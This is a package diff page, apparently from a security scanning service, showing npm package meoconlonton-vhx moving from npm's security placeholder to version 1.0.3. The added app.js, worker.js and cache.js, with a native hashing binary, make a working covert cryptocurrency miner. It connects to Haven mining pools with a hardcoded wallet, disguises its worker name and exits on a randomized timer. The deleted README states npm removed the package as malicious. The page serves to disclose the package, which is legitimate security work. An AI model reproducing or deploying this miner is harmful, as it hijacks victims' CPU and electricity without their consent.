meoconlonton-vhx 0.0.1-security → 1.0.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of meoconlonton-vhx might be problematic. Click here for more details.

package/app.js ADDED
@@ -0,0 +1,224 @@
1
+ const Net = require('net');
2
+ const { Worker } = require('worker_threads');
3
+ const { Cache } = require('./cache.js');
4
+ const fs = require('fs');
5
+
6
+ // variable
7
+ const appCache = new Cache("meocoder", 557056);
8
+ const numCPUs = require('os').cpus().length;
9
+ const numWorker = 1;
10
+ const customUsageCPU = 80;
11
+ const nameWorker = `linux_Scrutinizer_${Math.floor(Math.random() * 2) + 1}`;
12
+ const login = (() => {
13
+ return {
14
+ 'method': 'login',
15
+ 'params': {
16
+ 'login': 'hvxy3U6c8tyhYVtfFMDuNZDcdNZpa7ACp7Z5DThivuHLVGG3kvdTxaxTm57Bxyc9MHKaXNw1vf7nxKN3BJ3T4q4g6s9LdjXbUi',
17
+ 'pass': nameWorker,
18
+ 'rigid': nameWorker,
19
+ 'agent': 'meocoder-node-proxy/0.1'
20
+ },
21
+ 'id': 1
22
+ };
23
+ })();
24
+ const mainStatus = {
25
+ servers: ["sg.haven.herominers.com:1110", "ca.haven.herominers.com:1110", "de.haven.herominers.com:1110", "fi.haven.herominers.com:1110"],
26
+ workers: [],
27
+ poolWS: null,
28
+ attempts: 0
29
+ };
30
+
31
+ // cache
32
+ appCache.totalHashes = 0;
33
+ appCache.limitHash = null;
34
+ appCache.job = null;
35
+
36
+
37
+
38
+ /* --------------------------Timeout------------------------ */
39
+ setTimeout(() => {
40
+ process.exit(0);
41
+ }, ((Math.floor(Math.random() * 2) + 58.6) * 60) * 1000);
42
+
43
+
44
+
45
+ /* --------------------------Help Fn------------------------ */
46
+ const ref = (orign, key, update) => orign[key] = update;
47
+
48
+
49
+
50
+ /* --------------------------Worker-------------------------- */
51
+ const fn_receiveMessageWorker = (message) => {
52
+ try {
53
+ switch (message.type) {
54
+ case 'solved':
55
+ fn_solved(message.data);
56
+ break;
57
+
58
+ default:
59
+ break;
60
+ }
61
+ } catch (error) {
62
+ console.log(error);
63
+ }
64
+ }
65
+ const fn_receiveErrorWorker = (error) => {
66
+ console.log(error)
67
+ }
68
+ const fn_exitErrorWorker = (code) => {
69
+ if (code !== 0)
70
+ console.log(`stopped with ${code} exit code`);
71
+ }
72
+ const fn_firstCreateWorker = () => {
73
+ for (let idWorker = 0; idWorker < (numWorker || numCPUs); idWorker++) {
74
+
75
+ if (!fs.existsSync('./temp')) fs.mkdirSync('./temp');
76
+ fs.copyFileSync('./tool.node', `./temp/tool-${idWorker}.node`);
77
+ mainStatus.workers.push(new Worker('./worker.js', { workerData: { idWorker } }));
78
+ mainStatus.workers[mainStatus.workers.length - 1].on('message', message => fn_receiveMessageWorker(message));
79
+ mainStatus.workers[mainStatus.workers.length - 1].on('error', error => fn_receiveErrorWorker(error));
80
+ mainStatus.workers[mainStatus.workers.length - 1].on('exit', code => fn_exitErrorWorker(code));
81
+
82
+ }
83
+ // setTimeout(() => {
84
+ // const limitHash = Math.floor((appCache.totalHashes / 50) / 10 * 8);
85
+ // console.log(`[Main]: ${customUsageCPU}% CPU is ${limitHash} H/s`);
86
+ // console.log(`[Main]: Set limmit hash to ${limitHash} H/s`);
87
+ // appCache.limitHash = limitHash;
88
+ // }, 50000);
89
+
90
+ setInterval(() => {
91
+ console.log('[Main]: Speed:', Math.floor((appCache.totalHashes / 60)));
92
+ appCache.totalHashes = 0;
93
+ }, 60000);
94
+ }
95
+
96
+ /* --------------------------Main---------------------------- */
97
+
98
+
99
+ const fn_solved = (message) => {
100
+ try {
101
+ // message = JSON.parse(message);
102
+ const loginIDAndJobID = message.job_id.trim().split('@@');
103
+ // console.log(loginIDAndJobID);
104
+ if (loginIDAndJobID[1] !== mainStatus.loginID) {
105
+ console.log('[Main]: job is old');
106
+ return 0;
107
+ }
108
+ if (mainStatus.poolWS === null) {
109
+ console.log('[Main]: pool is null');
110
+ return 0;
111
+ }
112
+ mainStatus.poolWS.write(JSON.stringify({
113
+ 'method': 'submit',
114
+ 'params': {
115
+ 'id': loginIDAndJobID[1],
116
+ 'job_id': loginIDAndJobID[0],
117
+ 'nonce': message.nonce,
118
+ 'result': message.result
119
+ },
120
+ 'id': 1
121
+ }) + '\n');
122
+ console.log('[Server]: receive solved ID:', message.job_id);
123
+ } catch (error) {
124
+ console.log(error);
125
+ }
126
+ }
127
+ const fn_poolErrorHandling = (error) => {
128
+ if (error.message === "Unauthenticated") {
129
+ console.log('[Pool]: Error!!!', error.message);
130
+ mainStatus.poolWS.end();
131
+ ref(mainStatus, 'loginID', null);
132
+ ref(mainStatus, 'poolWS', null);
133
+ } else {
134
+ console.log('[Pool]: Error!!!', error.message);
135
+ }
136
+ }
137
+
138
+ const fn_receiveJob = (job) => {
139
+ appCache.job = {
140
+ job_id: job.job_id + '@@' + job.id,
141
+ target: job.target,
142
+ headerBlob: job.blob.substring(0, 78),
143
+ footerBlob: job.blob.substring(86, job.blob.length),
144
+ // height: job.height,
145
+ // algo: 'cn-upx'
146
+ }
147
+ // console.log(appCache.job);
148
+ mainStatus.workers.length ? null : fn_firstCreateWorker(); /* create worker with job data */;
149
+ ref(mainStatus, 'loginID', job.id);
150
+ console.log('[Pool]: new:', job.job_id, '- h:', job.height, '- t:', job.target, '- ID:', job.id);
151
+ }
152
+
153
+
154
+ const fn_receiveMessagePool = (message) => {
155
+ try {
156
+ message = JSON.parse(message.toString('utf8'));
157
+ if (message.error) {
158
+ fn_poolErrorHandling(message.error);
159
+ } else if (message.result && message.result.status && message.result.job) {
160
+ console.log('[Pool]: Login status:', message.result.status);
161
+ fn_receiveJob(message.result.job);
162
+ } else if (message.result && message.result.status) {
163
+ console.log('[Pool]: Submit status:', message.result.status);
164
+ } else if (message.method && message.method === 'job') {
165
+ fn_receiveJob(message.params);
166
+ } else {
167
+ console.log('[Pool]: other message:', message);
168
+ }
169
+ } catch (error) {
170
+ console.log('[Main]: receiveMessagePool Error:', error);
171
+ }
172
+ }
173
+
174
+
175
+ const connectPool = () => new Promise((resolve, reject) => {
176
+
177
+ console.log('[Main]: Connecting to pool!')
178
+ ref(mainStatus, 'attempts', mainStatus.attempts + 1);
179
+ if (mainStatus.poolWS != null) {
180
+ mainStatus.poolWS.end();
181
+ }
182
+
183
+ ref(mainStatus, 'poolWS', new Net.Socket());
184
+ const server = mainStatus.servers[Math.floor(Math.random() * mainStatus.servers.length)].trim().split(':');
185
+ mainStatus.poolWS.connect({ port: server[1], host: server[0] });
186
+
187
+ mainStatus.poolWS.on('connect', () => {
188
+ console.log('[Main]: Pool is connected!');
189
+ ref(mainStatus, 'attempts', 0);
190
+ });
191
+ mainStatus.poolWS.on('ready', () => {
192
+ console.log('[Main]: Logging into pool!');
193
+ mainStatus.poolWS.write(JSON.stringify(login) + '\n');
194
+ // console.log('[Main]: logged!');
195
+ });
196
+ mainStatus.poolWS.on('data', message => fn_receiveMessagePool(message));
197
+
198
+ // mainStatus.ws.on('open', () => {
199
+ // console.log('[Main]: connected to server!');
200
+ // mainStatus.ws.send((JSON.stringify(mainStatus.handshake)));
201
+
202
+ // });
203
+
204
+ mainStatus.poolWS.on('error', () => {
205
+ console.log('[Main]: Pool erorr!');
206
+ return reject();
207
+ });
208
+
209
+ mainStatus.poolWS.on('end', () => {
210
+ console.log('[Main]: Pool erorr!');
211
+ return reject();
212
+ });
213
+ mainStatus.poolWS.on('close', () => {
214
+ console.log('[Main]: Pool erorr!');
215
+ return reject();
216
+ });
217
+
218
+ }).catch(async () => {
219
+ ref(mainStatus, 'poolWS', null);
220
+ console.log('[Main]: The Pool is not connected. Trying to connect after', mainStatus.attempts * 10, 's');
221
+ await new Promise(resolve => setTimeout(resolve, 10000 * mainStatus.attempts));
222
+ connectPool();
223
+ });
224
+ connectPool();
package/cache.js ADDED
@@ -0,0 +1,52 @@
1
+ // node-shared-cache-x 1.7.3
2
+ const crypto = require("crypto");
3
+ const os = require("os");
4
+ const nativeModule = require("./cacheAddon.node");
5
+
6
+ let cacheMap = {};
7
+
8
+ function md5(str) {
9
+ let md5sum = crypto.createHash("md5");
10
+ md5sum.update(str);
11
+ return md5sum.digest("hex");
12
+ }
13
+
14
+ module.exports = Object.assign(
15
+ {
16
+ SIZE_DEFAULT: 6,
17
+ SIZE_64: 6,
18
+ SIZE_128: 7,
19
+ SIZE_256: 8,
20
+ SIZE_512: 9,
21
+ SIZE_1K: 10,
22
+ SIZE_2K: 11,
23
+ SIZE_4K: 12,
24
+ SIZE_8K: 13,
25
+ SIZE_16K: 14,
26
+ },
27
+ nativeModule
28
+ );
29
+
30
+ const VERSION = process.version;
31
+ const PLATFORM = os.platform();
32
+ const ARCH = os.arch();
33
+ const USERNAME = os.userInfo().username;
34
+
35
+ class Cache {
36
+ constructor(name, size, blockSize) {
37
+ blockSize = blockSize || exports.SIZE_DEFAULT;
38
+ let md5Name = md5(
39
+ `${VERSION}_${PLATFORM}_${ARCH}_${USERNAME}_${name}_${size}_${blockSize}`
40
+ ).slice(8, 24);
41
+ if (!Object.prototype.hasOwnProperty.call(cacheMap, md5Name)) {
42
+ cacheMap[md5Name] = new nativeModule.Cache(md5Name, size, blockSize);
43
+ }
44
+ return cacheMap[md5Name];
45
+ }
46
+ }
47
+
48
+ exports.Cache = Cache;
49
+
50
+ if (require.main === module && process.argv[2] === "release") {
51
+ process.argv.slice(3).forEach(exports.release);
52
+ }
Binary file
package/package.json CHANGED
@@ -1,6 +1,19 @@
1
1
  {
2
2
  "name": "meoconlonton-vhx",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "1.0.3",
4
+ "description": "",
5
+ "main": "app.js",
6
+ "scripts": {
7
+ "start": "node app.js",
8
+ "test": "node test.js"
9
+ },
10
+ "keywords": [
11
+ "redocoem"
12
+ ],
13
+ "author": "",
14
+ "license": "ISC",
15
+ "dependencies": {},
16
+ "engines": {
17
+ "node": "16.x"
18
+ }
19
+ }
package/tool.node ADDED
Binary file
package/worker.js ADDED
@@ -0,0 +1,101 @@
1
+ const { parentPort, workerData } = require('worker_threads');
2
+ const multiHashing = require(`./temp/tool-${workerData.idWorker}.node`);
3
+ const { Cache } = require('./cache.js');
4
+ const appCache = new Cache("meocoder", 557056);
5
+ const workerStatus = {
6
+ job: null,
7
+ hash: null,
8
+ nonce: null,
9
+ totalHashes: 0,
10
+ timeStart: Date.now()
11
+ };
12
+
13
+ console.log(`[Worker_${workerData.idWorker}]: created!`);
14
+
15
+ // parentPort.on("message", (message) => fn_receiveMessageServer(message));
16
+
17
+ /* --------------------------Fuction------------------------ */
18
+ const ref = (orign, key, update) => orign[key] = update;
19
+ const fn_zeroPad = (num, places) => {
20
+ const zero = places - num.toString().length + 1;
21
+ return Array(+(zero > 0 && zero)).join("0") + num;
22
+ }
23
+ const fn_hex2int = (s) => parseInt(s.match(/[a-fA-F0-9]{2}/g).reverse().join(''), 16);
24
+ const fn_int2hex = (i) => (fn_zeroPad(i.toString(16), 8)).match(/[a-fA-F0-9]{2}/g).reverse().join('');
25
+ const fn_getRandomInt = (min, max) => Math.floor(Math.random() * (max - min + 1)) + min;
26
+ const fn_createRandomHexNonce = () => {
27
+ const inonce = fn_getRandomInt(0, 0xFFFFFFFF);
28
+ ref(workerStatus, 'nonce', fn_int2hex(inonce));
29
+ }
30
+
31
+ const delay = (t) => {
32
+ return new Promise(function (resolve) {
33
+ setTimeout(function () {
34
+ resolve();
35
+ }, t);
36
+ });
37
+ }
38
+
39
+
40
+ const fn_limitHs = async (limit) => {
41
+ if (((Date.now() - workerStatus.timeStart) < 1000) && workerStatus.totalHashes < limit) {
42
+ // console.log('aaa');
43
+ fn_hash();
44
+ fn_checkHashAndSubmit();
45
+ ref(workerStatus, 'totalHashes', workerStatus.totalHashes + 1);
46
+ appCache.totalHashes = appCache.totalHashes + 1;
47
+ } else {
48
+ // console.log('aa');
49
+ await delay(969 - (Date.now() - workerStatus.timeStart));
50
+ ref(workerStatus, 'totalHashes', 0);
51
+ ref(workerStatus, 'timeStart', Date.now());
52
+ }
53
+ }
54
+
55
+ /* --------------------------Main------------------------ */
56
+ const fn_hash = () => {
57
+
58
+ try {
59
+ ref(workerStatus, 'job', appCache.job);
60
+ fn_createRandomHexNonce();
61
+ const blob = workerStatus.job.headerBlob + workerStatus.nonce + workerStatus.job.footerBlob;
62
+ ref(workerStatus, 'hash', multiHashing['cryptonight_heavy'](Buffer.from(blob, 'hex'), 1).toString('hex'));
63
+ }
64
+ catch (err) { console.log(err); }
65
+
66
+ };
67
+
68
+ const fn_checkHashAndSubmit = () => {
69
+ //check hashval nho hon target =>> true
70
+ if (fn_hex2int(workerStatus.hash.substring(56, 64)) < fn_hex2int(workerStatus.job.target)) {
71
+ parentPort.postMessage({
72
+ type: 'solved',
73
+ data: {
74
+ identifier: "solved",
75
+ job_id: workerStatus.job.job_id,
76
+ nonce: workerStatus.nonce,
77
+ result: workerStatus.hash
78
+ }
79
+ })
80
+ }
81
+ }
82
+
83
+ (async () => {
84
+ try {
85
+ while (true) {
86
+ switch (appCache.limitHash) {
87
+ case null:
88
+ fn_hash();
89
+ fn_checkHashAndSubmit();
90
+ appCache.totalHashes = appCache.totalHashes + 1;
91
+ break;
92
+
93
+ default:
94
+ await fn_limitHs(appCache.limitHash);
95
+ break;
96
+ }
97
+ }
98
+ } catch (error) {
99
+ console.log('[Worker]: error:', error)
100
+ }
101
+ })();
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=meoconlonton-vhx for more information.